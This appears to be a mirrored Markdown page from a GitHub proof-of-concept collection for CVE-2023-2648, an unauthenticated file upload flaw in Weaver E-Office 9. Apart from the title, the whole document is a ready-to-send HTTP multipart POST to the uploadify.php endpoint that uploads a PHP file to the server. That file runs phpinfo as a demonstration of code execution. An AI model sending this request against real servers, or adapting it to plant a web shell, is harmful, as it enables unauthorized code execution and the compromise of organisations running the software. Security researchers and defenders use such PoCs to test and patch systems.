mirror of
https://github.com/wy876/POC.git
synced 2025-02-27 04:39:25 +00:00
20 lines
458 B
Markdown
20 lines
458 B
Markdown
|
## 某微E-Office9文件上传漏洞 CVE-2023-2648
|
||
|
|
|
||
|
|
```
|
||
|
|
POST /inc/jquery/uploadify/uploadify.php HTTP/1.1
|
||
|
|
Host: 192.168.233.10:8082
|
||
|
|
User-Agent: test
|
||
|
|
Connection: close
|
||
|
|
Content-Length: 493
|
||
|
|
Accept-Encoding: gzip
|
||
|
|
Content-Type: multipart/form-data
|
||
|
|
|
||
|
|
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
|
||
|
|
Content-Disposition: form-data; name="Filedata"; filename="666.php"
|
||
|
|
Content-Type: application/octet-stream
|
||
|
|
|
||
|
|
<?php phpinfo();?>
|
||
|
|
|
||
|
|
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
|
||
|
|
```
|